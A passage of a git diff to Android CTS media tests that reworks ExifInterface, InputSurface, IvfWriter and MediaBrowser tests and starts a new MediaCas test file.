-            gpsDatestamp = getString(typedArray, 16);
-            gpsLatitude = getString(typedArray, 17);
-            gpsLatitudeRef = getString(typedArray, 18);
-            gpsLongitude = getString(typedArray, 19);
-            gpsLongitudeRef = getString(typedArray, 20);
-            gpsProcessingMethod = getString(typedArray, 21);
-            gpsTimestamp = getString(typedArray, 22);
-            imageLength = typedArray.getInt(23, 0);
-            imageWidth = typedArray.getInt(24, 0);
-            iso = getString(typedArray, 25);
-            orientation = typedArray.getInt(26, 0);
-            whiteBalance = typedArray.getInt(27, 0);
+            make = getString(typedArray, index++);
+            model = getString(typedArray, index++);
+            aperture = typedArray.getFloat(index++, 0f);
+            datetime = getString(typedArray, index++);
+            exposureTime = typedArray.getFloat(index++, 0f);
+            flash = typedArray.getFloat(index++, 0f);
+            focalLength = getString(typedArray, index++);
+            gpsAltitude = getString(typedArray, index++);
+            gpsAltitudeRef = getString(typedArray, index++);
+            gpsDatestamp = getString(typedArray, index++);
+            gpsLatitude = getString(typedArray, index++);
+            gpsLatitudeRef = getString(typedArray, index++);
+            gpsLongitude = getString(typedArray, index++);
+            gpsLongitudeRef = getString(typedArray, index++);
+            gpsProcessingMethod = getString(typedArray, index++);
+            gpsTimestamp = getString(typedArray, index++);
+            imageLength = typedArray.getInt(index++, 0);
+            imageWidth = typedArray.getInt(index++, 0);
+            iso = getString(typedArray, index++);
+            orientation = typedArray.getInt(index++, 0);
+            whiteBalance = typedArray.getInt(index++, 0);
 
             typedArray.recycle();
         }
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        for (int i = 0; i < IMAGE_RESOURCES.length; ++i) {
-            String outputPath = new File(Environment.getExternalStorageDirectory(),
-                    IMAGE_FILENAMES[i]).getAbsolutePath();
-            try (InputStream inputStream = getContext().getResources().openRawResource(
-                    IMAGE_RESOURCES[i])) {
-                try (FileOutputStream outputStream = new FileOutputStream(outputPath)) {
-                    Streams.copy(inputStream, outputStream);
-                }
-            }
-        }
-        super.setUp();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        for (int i = 0; i < IMAGE_RESOURCES.length; ++i) {
-            String imageFilePath = new File(Environment.getExternalStorageDirectory(),
-                    IMAGE_FILENAMES[i]).getAbsolutePath();
-            File imageFile = new File(imageFilePath);
-            if (imageFile.exists()) {
-                imageFile.delete();
-            }
-        }
-
-        super.tearDown();
-    }
-
-    public void testReadExifDataFromExifByteOrderIIJpeg() throws Throwable {
-        testExifInterfaceForJpeg(EXIF_BYTE_ORDER_II_JPEG, R.array.exifbyteorderii_jpg);
-    }
-
-    public void testReadExifDataFromExifByteOrderMMJpeg() throws Throwable {
-        testExifInterfaceForJpeg(EXIF_BYTE_ORDER_MM_JPEG, R.array.exifbyteordermm_jpg);
-    }
-
-    public void testReadExifDataFromLgG4Iso800Dng() throws Throwable {
-        testExifInterfaceForRaw(LG_G4_ISO_800_DNG, R.array.lg_g4_iso_800_dng);
-    }
-
     private void printExifTagsAndValues(String fileName, ExifInterface exifInterface) {
         // Prints thumbnail information.
         if (exifInterface.hasThumbnail()) {
-            byte[] thumbnailBytes = exifInterface.getThumbnail();
+            byte[] thumbnailBytes = exifInterface.getThumbnailBytes();
             if (thumbnailBytes != null) {
                 Log.v(TAG, fileName + " Thumbnail size = " + thumbnailBytes.length);
-                Bitmap bitmap = BitmapFactory.decodeByteArray(
-                        thumbnailBytes, 0, thumbnailBytes.length);
+                Bitmap bitmap = exifInterface.getThumbnailBitmap();
                 if (bitmap == null) {
                     Log.e(TAG, fileName + " Corrupted thumbnail!");
                 } else {
@@ -220,7 +194,7 @@
                         + "A thumbnail is expected.");
             }
         } else {
-            if (exifInterface.getThumbnail() != null) {
+            if (exifInterface.getThumbnailBytes() != null) {
                 Log.e(TAG, fileName + " Unexpected result: A thumbnail was found. "
                         + "No thumbnail is expected.");
             } else {
@@ -261,6 +235,8 @@
         if (stringValue != null) {
             stringValue = stringValue.trim();
         }
+        stringValue = (stringValue == "") ? null : stringValue;
+
         assertEquals(expectedValue, stringValue);
     }
 
@@ -272,13 +248,14 @@
         // Checks a thumbnail image.
         assertEquals(expectedValue.hasThumbnail, exifInterface.hasThumbnail());
         if (expectedValue.hasThumbnail) {
-            byte[] thumbnailBytes = exifInterface.getThumbnail();
+            byte[] thumbnailBytes = exifInterface.getThumbnailBytes();
             assertNotNull(thumbnailBytes);
-            Bitmap thumbnailBitmap =
-                    BitmapFactory.decodeByteArray(thumbnailBytes, 0, thumbnailBytes.length);
+            Bitmap thumbnailBitmap = exifInterface.getThumbnailBitmap();
             assertNotNull(thumbnailBitmap);
             assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
             assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
+            assertEquals(expectedValue.isThumbnailCompressed,
+                    exifInterface.isThumbnailCompressed());
         } else {
             assertNull(exifInterface.getThumbnail());
         }
@@ -320,8 +297,9 @@
         assertIntTag(exifInterface, ExifInterface.TAG_WHITE_BALANCE, expectedValue.whiteBalance);
     }
 
-    private void testExifInterfaceCommon(File imageFile, ExpectedValue expectedValue)
+    private void testExifInterfaceCommon(String fileName, ExpectedValue expectedValue)
             throws IOException {
+        File imageFile = new File(Environment.getExternalStorageDirectory(), fileName);
         String verboseTag = imageFile.getName();
 
         // Creates via path.
@@ -329,18 +307,8 @@
         assertNotNull(exifInterface);
         compareWithExpectedValue(exifInterface, expectedValue, verboseTag);
 
-        // Creates from an asset file.
         InputStream in = null;
-        try {
-            in = getContext().getAssets().open(imageFile.getName());
-            exifInterface = new ExifInterface(in);
-            compareWithExpectedValue(exifInterface, expectedValue, verboseTag);
-        } finally {
-            IoUtils.closeQuietly(in);
-        }
-
         // Creates via InputStream.
-        in = null;
         try {
             in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
             exifInterface = new ExifInterface(in);
@@ -362,8 +330,9 @@
         }
     }
 
-    private void testSaveAttributes_withFileName(File imageFile, ExpectedValue expectedValue)
+    private void testSaveAttributes_withFileName(String fileName, ExpectedValue expectedValue)
             throws IOException {
+        File imageFile = new File(Environment.getExternalStorageDirectory(), fileName);
         String verboseTag = imageFile.getName();
 
         ExifInterface exifInterface = new ExifInterface(imageFile.getAbsolutePath());
@@ -384,8 +353,9 @@
         compareWithExpectedValue(exifInterface, expectedValue, verboseTag);
     }
 
-    private void testSaveAttributes_withFileDescriptor(File imageFile, ExpectedValue expectedValue)
+    private void testSaveAttributes_withFileDescriptor(String fileName, ExpectedValue expectedValue)
             throws IOException {
+        File imageFile = new File(Environment.getExternalStorageDirectory(), fileName);
         String verboseTag = imageFile.getName();
 
         FileDescriptor fd = null;
@@ -417,48 +387,95 @@
         }
     }
 
-    private void testSaveAttributes_withInputStream(File imageFile, ExpectedValue expectedValue)
-            throws IOException {
-        InputStream in = null;
-        try {
-            in = getContext().getAssets().open(imageFile.getName());
-            ExifInterface exifInterface = new ExifInterface(in);
-            exifInterface.saveAttributes();
-        } catch (IOException e) {
-            // Expected. saveAttributes is not supported with an ExifInterface object which was
-            // created with InputStream.
-            return;
-        } finally {
-            IoUtils.closeQuietly(in);
-        }
-        fail("Should not reach here!");
-    }
-
     private void testExifInterfaceForJpeg(String fileName, int typedArrayResourceId)
             throws IOException {
         ExpectedValue expectedValue = new ExpectedValue(
                 getContext().getResources().obtainTypedArray(typedArrayResourceId));
-        File imageFile = new File(Environment.getExternalStorageDirectory(), fileName);
 
-        // Test for reading from various inputs.
-        testExifInterfaceCommon(imageFile, expectedValue);
+        // Test for reading from external data storage.
+        fileName = EXTERNAL_BASE_DIRECTORY + fileName;
+        testExifInterfaceCommon(fileName, expectedValue);
 
         // Test for saving attributes.
-        testSaveAttributes_withFileName(imageFile, expectedValue);
-        testSaveAttributes_withFileDescriptor(imageFile, expectedValue);
-        testSaveAttributes_withInputStream(imageFile, expectedValue);
+        testSaveAttributes_withFileName(fileName, expectedValue);
+        testSaveAttributes_withFileDescriptor(fileName, expectedValue);
     }
 
     private void testExifInterfaceForRaw(String fileName, int typedArrayResourceId)
             throws IOException {
         ExpectedValue expectedValue = new ExpectedValue(
                 getContext().getResources().obtainTypedArray(typedArrayResourceId));
-        File imageFile = new File(Environment.getExternalStorageDirectory(), fileName);
 
-        // Test for reading from various inputs.
-        testExifInterfaceCommon(imageFile, expectedValue);
+        // Test for reading from external data storage.
+        fileName = EXTERNAL_BASE_DIRECTORY + fileName;
+        testExifInterfaceCommon(fileName, expectedValue);
 
         // Since ExifInterface does not support for saving attributes for RAW files, do not test
         // about writing back in here.
     }
+
+    public void testReadExifDataFromExifByteOrderIIJpeg() throws Throwable {
+        testExifInterfaceForJpeg(EXIF_BYTE_ORDER_II_JPEG, R.array.exifbyteorderii_jpg);
+    }
+
+    public void testReadExifDataFromExifByteOrderMMJpeg() throws Throwable {
+        testExifInterfaceForJpeg(EXIF_BYTE_ORDER_MM_JPEG, R.array.exifbyteordermm_jpg);
+    }
+
+    public void testReadExifDataFromLgG4Iso800Dng() throws Throwable {
+        testExifInterfaceForRaw(LG_G4_ISO_800_DNG, R.array.lg_g4_iso_800_dng);
+    }
+
+    public void testDoNotFailOnCorruptedImage() throws Throwable {
+        // To keep the compatibility with old versions of ExifInterface, even on a corrupted image,
+        // it shouldn't raise any exceptions except an IOException when unable to open a file.
+        byte[] bytes = new byte[1024];
+        try {
+            new ExifInterface(new ByteArrayInputStream(bytes));
+            // Always success
+        } catch (IOException e) {
+            fail("Should not reach here!");
+        }
+    }
+
+    public void testReadExifDataFromVolantisJpg() throws Throwable {
+        // Test if it is possible to parse the volantis generated JPEG smoothly.
+        testExifInterfaceForJpeg(VOLANTIS_JPEG, R.array.volantis_jpg);
+    }
+
+    public void testReadExifDataFromSonyRX100Arw() throws Throwable {
+        testExifInterfaceForRaw(SONY_RX_100_ARW, R.array.sony_rx_100_arw);
+    }
+
+    public void testReadExifDataFromCanonG7XCr2() throws Throwable {
+        testExifInterfaceForRaw(CANON_G7X_CR2, R.array.canon_g7x_cr2);
+    }
+
+    public void testReadExifDataFromFujiX20Raf() throws Throwable {
+        testExifInterfaceForRaw(FUJI_X20_RAF, R.array.fuji_x20_raf);
+    }
+
+    public void testReadExifDataFromNikon1AW1Nef() throws Throwable {
+        testExifInterfaceForRaw(NIKON_1AW1_NEF, R.array.nikon_1aw1_nef);
+    }
+
+    public void testReadExifDataFromNikonP330Nrw() throws Throwable {
+        testExifInterfaceForRaw(NIKON_P330_NRW, R.array.nikon_p330_nrw);
+    }
+
+    public void testReadExifDataFromOlympusEPL3Orf() throws Throwable {
+        testExifInterfaceForRaw(OLYMPUS_E_PL3_ORF, R.array.olympus_e_pl3_orf);
+    }
+
+    public void testReadExifDataFromPanasonicGM5Rw2() throws Throwable {
+        testExifInterfaceForRaw(PANASONIC_GM5_RW2, R.array.panasonic_gm5_rw2);
+    }
+
+    public void testReadExifDataFromPentaxK5Pef() throws Throwable {
+        testExifInterfaceForRaw(PENTAX_K5_PEF, R.array.pentax_k5_pef);
+    }
+
+    public void testReadExifDataFromSamsungNX3000Srw() throws Throwable {
+        testExifInterfaceForRaw(SAMSUNG_NX3000_SRW, R.array.samsung_nx3000_srw);
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/ImageReaderDecoderTest.java b/tests/tests/media/src/android/media/cts/ImageReaderDecoderTest.java
index f1b2972..dcac8f0 100644
--- a/tests/tests/media/src/android/media/cts/ImageReaderDecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/ImageReaderDecoderTest.java
@@ -22,7 +22,6 @@
 import android.content.res.AssetFileDescriptor;
 import android.content.res.Resources;
 import android.content.res.Resources.NotFoundException;
-import android.cts.util.MediaUtils;
 import android.graphics.Rect;
 import android.graphics.ImageFormat;
 import android.media.cts.CodecUtils;
@@ -45,6 +44,8 @@
 
 import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.InputStream;
diff --git a/tests/tests/media/src/android/media/cts/InputSurface.java b/tests/tests/media/src/android/media/cts/InputSurface.java
index 37ca423..11d7645 100644
--- a/tests/tests/media/src/android/media/cts/InputSurface.java
+++ b/tests/tests/media/src/android/media/cts/InputSurface.java
@@ -16,11 +16,13 @@
 
 package android.media.cts;
 
+
+import android.media.MediaCodec;
 import android.opengl.EGL14;
-import android.opengl.EGLExt;
 import android.opengl.EGLConfig;
 import android.opengl.EGLContext;
 import android.opengl.EGLDisplay;
+import android.opengl.EGLExt;
 import android.opengl.EGLSurface;
 import android.util.Log;
 import android.view.Surface;
@@ -33,11 +35,9 @@
  * to create an EGL window surface.  Calls to eglSwapBuffers() cause a frame of data to be sent
  * to the video encoder.
  */
-class InputSurface {
+class InputSurface implements InputSurfaceInterface {
     private static final String TAG = "InputSurface";
 
-    private static final int EGL_RECORDABLE_ANDROID = 0x3142;
-
     private EGLDisplay mEGLDisplay = EGL14.EGL_NO_DISPLAY;
     private EGLContext mEGLContext = EGL14.EGL_NO_CONTEXT;
     private EGLSurface mEGLSurface = EGL14.EGL_NO_SURFACE;
@@ -80,7 +80,7 @@
                 EGL14.EGL_GREEN_SIZE, 8,
                 EGL14.EGL_BLUE_SIZE, 8,
                 EGL14.EGL_RENDERABLE_TYPE, EGL14.EGL_OPENGL_ES2_BIT,
-                EGL_RECORDABLE_ANDROID, 1,
+                EGLExt.EGL_RECORDABLE_ANDROID, 1,
                 EGL14.EGL_NONE
         };
         int[] numConfigs = new int[1];
@@ -108,6 +108,7 @@
         mHeight = getHeight();
     }
 
+    @Override
     public void updateSize(int width, int height) {
         if (width != mWidth || height != mHeight) {
             Log.d(TAG, "re-create EGLSurface");
@@ -140,6 +141,7 @@
      * Discard all resources held by this class, notably the EGL context.  Also releases the
      * Surface that was passed to our constructor.
      */
+    @Override
     public void release() {
         if (mEGLDisplay != EGL14.EGL_NO_DISPLAY) {
             EGL14.eglDestroySurface(mEGLDisplay, mEGLSurface);
@@ -160,6 +162,7 @@
     /**
      * Makes our EGL context and surface current.
      */
+    @Override
     public void makeCurrent() {
         if (!EGL14.eglMakeCurrent(mEGLDisplay, mEGLSurface, mEGLSurface, mEGLContext)) {
             throw new RuntimeException("eglMakeCurrent failed");
@@ -176,6 +179,7 @@
     /**
      * Calls eglSwapBuffers.  Use this to "publish" the current frame.
      */
+    @Override
     public boolean swapBuffers() {
         return EGL14.eglSwapBuffers(mEGLDisplay, mEGLSurface);
     }
@@ -208,6 +212,7 @@
     /**
      * Sends the presentation time stamp to EGL.  Time is expressed in nanoseconds.
      */
+    @Override
     public void setPresentationTime(long nsecs) {
         EGLExt.eglPresentationTimeANDROID(mEGLDisplay, mEGLSurface, nsecs);
     }
@@ -221,4 +226,15 @@
             throw new RuntimeException(msg + ": EGL error: 0x" + Integer.toHexString(error));
         }
     }
+
+    @Override
+    public void configure(MediaCodec codec) {
+        codec.setInputSurface(mSurface);
+    }
+
+    @Override
+    public void configure(NdkMediaCodec codec) {
+        codec.setInputSurface(mSurface);
+    }
+
 }
diff --git a/tests/tests/media/src/android/media/cts/InputSurfaceInterface.java b/tests/tests/media/src/android/media/cts/InputSurfaceInterface.java
new file mode 100644
index 0000000..741ad85
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/InputSurfaceInterface.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaCodec;
+
+/**
+ * This interface exposes the minimum set of {@link InputSurface} APIs used in {@link EncodeDecodeTest}. 
+ */
+public interface InputSurfaceInterface {
+
+    void makeCurrent();
+
+    boolean swapBuffers();
+
+    void setPresentationTime(long nsecs);
+
+    void configure(MediaCodec codec);
+
+    void configure(NdkMediaCodec codec);
+
+    void updateSize(int width, int height);
+
+    void release();
+
+}
diff --git a/tests/tests/media/src/android/media/cts/IvfWriter.java b/tests/tests/media/src/android/media/cts/IvfWriter.java
index 075f73c..36fb679 100644
--- a/tests/tests/media/src/android/media/cts/IvfWriter.java
+++ b/tests/tests/media/src/android/media/cts/IvfWriter.java
@@ -16,6 +16,8 @@
 
 package android.media.cts;
 
+import android.media.MediaFormat;
+
 import java.io.IOException;
 import java.io.RandomAccessFile;
 
@@ -34,6 +36,7 @@
     private int mScale;
     private int mRate;
     private int mFrameCount;
+    private String mMimeType;
 
     /**
      * Initializes the IVF file writer.
@@ -43,15 +46,17 @@
      * with this timebase value.
      *
      * @param filename   name of the IVF file
+     * @param mimeType   mime type of the codec
      * @param width      frame width
      * @param height     frame height
      * @param scale      timebase scale (or numerator of the timebase fraction)
      * @param rate       timebase rate (or denominator of the timebase fraction)
      */
-    public IvfWriter(String filename,
-                     int width, int height,
-                     int scale, int rate) throws IOException {
+    public IvfWriter(
+            String filename, String mimeType, int width, int height, int scale,
+            int rate) throws IOException {
         mOutputFile = new RandomAccessFile(filename, "rw");
+        mMimeType = mimeType;
         mWidth = width;
         mHeight = height;
         mScale = scale;
@@ -67,11 +72,12 @@
      * Microsecond timebase is default for OMX thus stagefright.
      *
      * @param filename   name of the IVF file
+     * @param mimeType   mime type of the codec
      * @param width      frame width
      * @param height     frame height
      */
-    public IvfWriter(String filename, int width, int height) throws IOException {
-        this(filename, width, height, 1, 1000000);
+    public IvfWriter(String filename, String mimeType, int width, int height) throws IOException {
+        this(filename, mimeType, width, height, 1, 1000000);
     }
 
     /**
@@ -80,7 +86,7 @@
     public void close() throws IOException{
         // Write header now
         mOutputFile.seek(0);
-        mOutputFile.write(makeIvfHeader(mFrameCount, mWidth, mHeight, mScale, mRate));
+        mOutputFile.write(makeIvfHeader(mFrameCount, mWidth, mHeight, mScale, mRate, mMimeType));
         mOutputFile.close();
     }
 
@@ -107,7 +113,8 @@
      * @param scale      timebase scale (or numerator of the timebase fraction)
      * @param rate       timebase rate (or denominator of the timebase fraction)
      */
-    private static byte[] makeIvfHeader(int frameCount, int width, int height, int scale, int rate){
+    private static byte[] makeIvfHeader(
+            int frameCount, int width, int height, int scale, int rate, String mimeType) {
         byte[] ivfHeader = new byte[32];
         ivfHeader[0] = 'D';
         ivfHeader[1] = 'K';
@@ -117,7 +124,7 @@
         lay16Bits(ivfHeader, 6, 32);  // header size
         ivfHeader[8] = 'V';  // fourcc
         ivfHeader[9] = 'P';
-        ivfHeader[10] = '8';
+        ivfHeader[10] = (byte) (MediaFormat.MIMETYPE_VIDEO_VP8.equals(mimeType) ? '8' : '9');
         ivfHeader[11] = '0';
         lay16Bits(ivfHeader, 12, width);
         lay16Bits(ivfHeader, 14, height);
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
index 23f464e..fd8c3b1 100644
--- a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
@@ -16,12 +16,14 @@
 package android.media.cts;
 
 import android.content.ComponentName;
-import android.cts.util.PollingCheck;
 import android.media.browse.MediaBrowser;
 import android.media.browse.MediaBrowser.MediaItem;
 import android.os.Bundle;
 import android.test.InstrumentationTestCase;
 
+import com.android.compatibility.common.util.PollingCheck;
+
+import java.util.ArrayList;
 import java.util.List;
 
 /**
@@ -30,6 +32,17 @@
 public class MediaBrowserTest extends InstrumentationTestCase {
     // The maximum time to wait for an operation.
     private static final long TIME_OUT_MS = 3000L;
+
+    /**
+     * To check {@link MediaBrowser#unsubscribe} works properly,
+     * we notify to the browser after the unsubscription that the media items have changed.
+     * Then {@link MediaBrowser.SubscriptionCallback#onChildrenLoaded} should not be called.
+     *
+     * The measured time from calling {@link StubMediaBrowserService#notifyChildrenChanged}
+     * to {@link MediaBrowser.SubscriptionCallback#onChildrenLoaded} being called is about 50ms.
+     * So we make the thread sleep for 100ms to properly check that the callback is not called.
+     */
+    private static final long SLEEP_MS = 100L;
     private static final ComponentName TEST_BROWSER_SERVICE = new ComponentName(
             "android.media.cts", "android.media.cts.StubMediaBrowserService");
     private static final ComponentName TEST_INVALID_BROWSER_SERVICE = new ComponentName(
@@ -56,7 +69,12 @@
                 mMediaBrowser.getSessionToken());
 
         mMediaBrowser.disconnect();
-        assertEquals(false, mMediaBrowser.isConnected());
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return !mMediaBrowser.isConnected();
+            }
+        }.run();
     }
 
     public void testConnectTwice() {
@@ -86,6 +104,66 @@
         }.run();
     }
 
+    public void testReconnection() {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+
+        // Reconnect before the first connection was established.
+        mMediaBrowser.connect();
+        mMediaBrowser.disconnect();
+        resetCallbacks();
+        connectMediaBrowserService();
+
+        // Test subscribe.
+        resetCallbacks();
+        mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback);
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return mSubscriptionCallback.mChildrenLoadedCount > 0;
+            }
+        }.run();
+
+        // Test getItem.
+        resetCallbacks();
+        mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_CHILDREN[0], mItemCallback);
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return mItemCallback.mLastMediaItem != null;
+            }
+        }.run();
+
+        // Reconnect after connection was established.
+        mMediaBrowser.disconnect();
+        resetCallbacks();
+        connectMediaBrowserService();
+
+        // Test getItem.
+        resetCallbacks();
+        mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_CHILDREN[0], mItemCallback);
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return mItemCallback.mLastMediaItem != null;
+            }
+        }.run();
+    }
+
+    public void testConnectionCallbackNotCalledAfterDisconnect() {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        mMediaBrowser.connect();
+        mMediaBrowser.disconnect();
+        resetCallbacks();
+        try {
+            Thread.sleep(SLEEP_MS);
+        } catch (InterruptedException e) {
+            fail("Unexpected InterruptedException occurred.");
+        }
+        assertEquals(0, mConnectionCallback.mConnectedCount);
+        assertEquals(0, mConnectionCallback.mConnectionFailedCount);
+        assertEquals(0, mConnectionCallback.mConnectionSuspendedCount);
+    }
+
     public void testGetServiceComponentBeforeConnection() {
         resetCallbacks();
         createMediaBrowser(TEST_BROWSER_SERVICE);
@@ -116,6 +194,21 @@
             assertEquals(StubMediaBrowserService.MEDIA_ID_CHILDREN[i],
                     mSubscriptionCallback.mLastChildMediaItems.get(i).getMediaId());
         }
+
+        // Test unsubscribe.
+        resetCallbacks();
+        mMediaBrowser.unsubscribe(StubMediaBrowserService.MEDIA_ID_ROOT);
+
+        // After unsubscribing, make StubMediaBrowserService notify that the children are changed.
+        StubMediaBrowserService.sInstance.notifyChildrenChanged(
+                StubMediaBrowserService.MEDIA_ID_ROOT);
+        try {
+            Thread.sleep(SLEEP_MS);
+        } catch (InterruptedException e) {
+            fail("Unexpected InterruptedException occurred.");
+        }
+        // onChildrenLoaded should not be called.
+        assertEquals(0, mSubscriptionCallback.mChildrenLoadedCount);
     }
 
     public void testSubscribeWithOptions() {
@@ -150,6 +243,21 @@
                         mSubscriptionCallback.mLastChildMediaItems.get(i).getMediaId());
             }
         }
+
+        // Test unsubscribe with callback argument.
+        resetCallbacks();
+        mMediaBrowser.unsubscribe(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback);
+
+        // After unsubscribing, make StubMediaBrowserService notify that the children are changed.
+        StubMediaBrowserService.sInstance.notifyChildrenChanged(
+                StubMediaBrowserService.MEDIA_ID_ROOT);
+        try {
+            Thread.sleep(SLEEP_MS);
+        } catch (InterruptedException e) {
+            fail("Unexpected InterruptedException occurred.");
+        }
+        // onChildrenLoaded should not be called.
+        assertEquals(0, mSubscriptionCallback.mChildrenLoadedCount);
     }
 
     public void testSubscribeInvalidItem() {
@@ -192,6 +300,111 @@
                 mSubscriptionCallback.mLastOptions.getInt(MediaBrowser.EXTRA_PAGE_SIZE));
     }
 
+    public void testUnsubscribeForMultipleSubscriptions() {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        connectMediaBrowserService();
+        final List<StubSubscriptionCallback> subscriptionCallbacks = new ArrayList<>();
+        final int pageSize = 1;
+
+        // Subscribe four pages, one item per page.
+        for (int page = 0; page < 4; page++) {
+            final StubSubscriptionCallback callback = new StubSubscriptionCallback();
+            subscriptionCallbacks.add(callback);
+
+            Bundle options = new Bundle();
+            options.putInt(MediaBrowser.EXTRA_PAGE, page);
+            options.putInt(MediaBrowser.EXTRA_PAGE_SIZE, pageSize);
+            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, options, callback);
+
+            // Each onChildrenLoaded() must be called.
+            new PollingCheck(TIME_OUT_MS) {
+                @Override
+                protected boolean check() {
+                    return callback.mChildrenLoadedWithOptionCount == 1;
+                }
+            }.run();
+        }
+
+        // Reset callbacks and unsubscribe.
+        for (StubSubscriptionCallback callback : subscriptionCallbacks) {
+            callback.reset();
+        }
+        mMediaBrowser.unsubscribe(StubMediaBrowserService.MEDIA_ID_ROOT);
+
+        // After unsubscribing, make StubMediaBrowserService notify that the children are changed.
+        StubMediaBrowserService.sInstance.notifyChildrenChanged(
+                StubMediaBrowserService.MEDIA_ID_ROOT);
+        try {
+            Thread.sleep(SLEEP_MS);
+        } catch (InterruptedException e) {
+            fail("Unexpected InterruptedException occurred.");
+        }
+
+        // onChildrenLoaded should not be called.
+        for (StubSubscriptionCallback callback : subscriptionCallbacks) {
+            assertEquals(0, callback.mChildrenLoadedWithOptionCount);
+        }
+    }
+
+    public void testUnsubscribeWithSubscriptionCallbackForMultipleSubscriptions() {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        connectMediaBrowserService();
+        final List<StubSubscriptionCallback> subscriptionCallbacks = new ArrayList<>();
+        final int pageSize = 1;
+
+        // Subscribe four pages, one item per page.
+        for (int page = 0; page < 4; page++) {
+            final StubSubscriptionCallback callback = new StubSubscriptionCallback();
+            subscriptionCallbacks.add(callback);
+
+            Bundle options = new Bundle();
+            options.putInt(MediaBrowser.EXTRA_PAGE, page);
+            options.putInt(MediaBrowser.EXTRA_PAGE_SIZE, pageSize);
+            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, options, callback);
+
+            // Each onChildrenLoaded() must be called.
+            new PollingCheck(TIME_OUT_MS) {
+                @Override
+                protected boolean check() {
+                    return callback.mChildrenLoadedWithOptionCount == 1;
+                }
+            }.run();
+        }
+
+        // Unsubscribe existing subscriptions one-by-one.
+        final int[] orderOfRemovingCallbacks = {2, 0, 3, 1};
+        for (int i = 0; i < orderOfRemovingCallbacks.length; i++) {
+            // Reset callbacks
+            for (StubSubscriptionCallback callback : subscriptionCallbacks) {
+                callback.reset();
+            }
+
+            // Remove one subscription
+            mMediaBrowser.unsubscribe(StubMediaBrowserService.MEDIA_ID_ROOT,
+                    subscriptionCallbacks.get(orderOfRemovingCallbacks[i]));
+
+            // Make StubMediaBrowserService notify that the children are changed.
+            StubMediaBrowserService.sInstance.notifyChildrenChanged(
+                    StubMediaBrowserService.MEDIA_ID_ROOT);
+            try {
+                Thread.sleep(SLEEP_MS);
+            } catch (InterruptedException e) {
+                fail("Unexpected InterruptedException occurred.");
+            }
+
+            // Only the remaining subscriptionCallbacks should be called.
+            for (int j = 0; j < 4; j++) {
+                int childrenLoadedWithOptionsCount = subscriptionCallbacks
+                        .get(orderOfRemovingCallbacks[j]).mChildrenLoadedWithOptionCount;
+                if (j <= i) {
+                    assertEquals(0, childrenLoadedWithOptionsCount);
+                } else {
+                    assertEquals(1, childrenLoadedWithOptionsCount);
+                }
+            }
+        }
+    }
+
     public void testGetItem() {
         resetCallbacks();
         createMediaBrowser(TEST_BROWSER_SERVICE);
diff --git a/tests/tests/media/src/android/media/cts/MediaCasTest.java b/tests/tests/media/src/android/media/cts/MediaCasTest.java
new file mode 100644
index 0000000..a3cdefc
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaCasTest.java
@@ -0,0 +1,561 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaCas;
+import android.media.MediaCas.PluginDescriptor;
+import android.media.MediaCas.Session;
+import android.media.MediaCasException;
+import android.media.MediaCasException.UnsupportedCasException;
+import android.media.MediaCasStateException;
+import android.media.MediaCodec;
+import android.media.MediaDescrambler;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.platform.test.annotations.RequiresDevice;
+import android.support.test.filters.SmallTest;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import java.lang.ArrayIndexOutOfBoundsException;
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
